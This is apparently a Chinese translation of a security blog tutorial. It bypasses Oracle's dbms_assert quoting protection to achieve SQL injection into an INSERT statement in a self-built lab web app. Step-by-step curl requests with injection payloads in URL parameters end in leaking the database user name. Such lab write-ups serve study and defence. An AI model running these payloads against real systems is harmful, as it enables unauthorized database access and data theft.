检测并实现绕过DBMS_ASSERT
概述
上一篇文章讨论了旧版本的Oracle dbms_assert.enqoute_literal方法中的一个bug,这个bug可能让攻击者绕过SQL注入保护并使系统数据泄露。
本文将探讨“real-world” 一个绕过dbms_assert
的方案,以及一些非标准的SQL注入方法。
Web应用程序
就这个例子而言,我构建了一个简单(而且很丑)的Web应用程序,它允许用户在表中插入记录和搜索该表中的记录。
Web应用程序是使用modowa和Oracle XE数据库构建的。
基本功能
应用程序本身非常简单,它允许用户输入新请求:
它还允许用户在任何输入的字段中搜索现有的请求:
内部程序
查看Web应用程序的html,我们可以看到两个调用搜索和插入操作的句柄的AJAX。
1 | <html> |
如果我们curl上面java脚本函数中看到的两种方法,我们可以更好地遵循服务器交互。1
curl -v "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email=not.bruce@waynetech.com&p_description=BATMAN"
1 | curl http://192.168.1.5//pls/public/portal.pkg_service_requests.get_requests?p_description=BAT |
扫描应用程序
现在我们已经基本了解了应用程序的工作原理,我们可以使用标准工具(如OWASP ZAP和sqlmap)进行一些扫描。请记住,insert方法(pkg_service_requests.add_request
)容易受到SQL注入的攻击。
虽然OWASP ZAP检测到该服务易受跨站点脚本攻击,但它不会检测到SQL注入的漏洞。
我们甚至在服务请求应用程序中看到了ZAP SQL注入尝试的示例。
Sqlmap的性能略优于OWASP ZAP。从下面的屏幕截图中可以看出,扫描程序成功检测到后端使用了Oracle数据库,输入参数有被轻易注入的可能,但是,sqlmap最终还是无法成功注入系统。
绕过DBMS_ASSERT
传统的SQL注入方法是将整个注入有效负载包含在一个输入参数中,通过传输单引号或双引号来输出输入值。1
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email=not.bruce@waynetech.com&p_description=BATMAN'%20or%201=1"
正如我们所看到的,当我们尝试使用这种形式的注入时,服务器会返回Oracle错误。
但是,在上一篇文章我们已经提到过,如果正在使用旧版本的dbms_assert.enqoute_literal,我们就可以通过传递单引号(一个’)来尝试脱离输入环节。在下面的curl语句中,单引号传递给p_email输入参数。1
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=BATMAN"
现在,我们看到一个SQL语法错误:ORA-00917缺少逗号,而不是PL/SQL数值或值错误。我们找到了注射路径。但是,有一个小问题:我们的注入点在insert语句中。这意味着正常的SQL注入方法(如附加到where子句或UNION注入)将达不到这个效果,因为查询数据不会返回给服务器。
Insert注入语句
虽然我们不能使用简单的SQL注入方法,但我们可以将Oracle内置的变量和函数注入insert语句,使其从系统中收集一些信息。例如,Oracle内置函数USER和SYSDATE将告诉我们一些关于系统的信息,并且能让我们清楚地知道我们的注入路径是否能正常工作。
手动注入服务需要一点时间和反复的试验(试错法),但成功执行最终会显示用于服务连接的数据库用户的名称。
在我们手动注入服务器之前,快速回顾一下oracle插入语法和常见的oracle插入错误。
用这些错误作为参考点,我们可以运行初始注入:1
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=BATMAN"
这与ORA-00917一样:缺少逗号错误,并且很容易添加逗号:1
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,"
结果是ORA-01756:引用的字符串未正确终止的错误。我们不能没有冲击dbms_assert保护就来添加单个’来终止字符串。但是我们可以用oracle注释来随后引用 - :1
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,--"
我们现在收到ORA-00936:缺少表达式,因为我们没有用任何数据填充插入列。我们将使用Oracle内置的USER函数来测试:1
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,USER--"
我们现在看到另一个ORA-00917:缺少逗号错误。这可能意味着我们需要添加另一个记录字段,或者它可能意味着我们缺少insert语句的右括号。如果我们尝试后者,我们将会看到我们注入成功。1
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,USER)--"
我们可以看到最终的注入语句成功执行,并显示了Oracle数据库用户的名称(PORTAL_USER)。
本文翻译自: http://obtruse.syfrtext.com/2018/04/detecting-and-implementing-dbmsassert.html
如何处理Insert
初步看来,对Insert语句的SQL注入攻击具有很大的潜在破坏力,但对数据的泄露几乎没有用处。下一篇文章将展示如何使用各种方法使用基于insert语句的攻击向量来查询数据。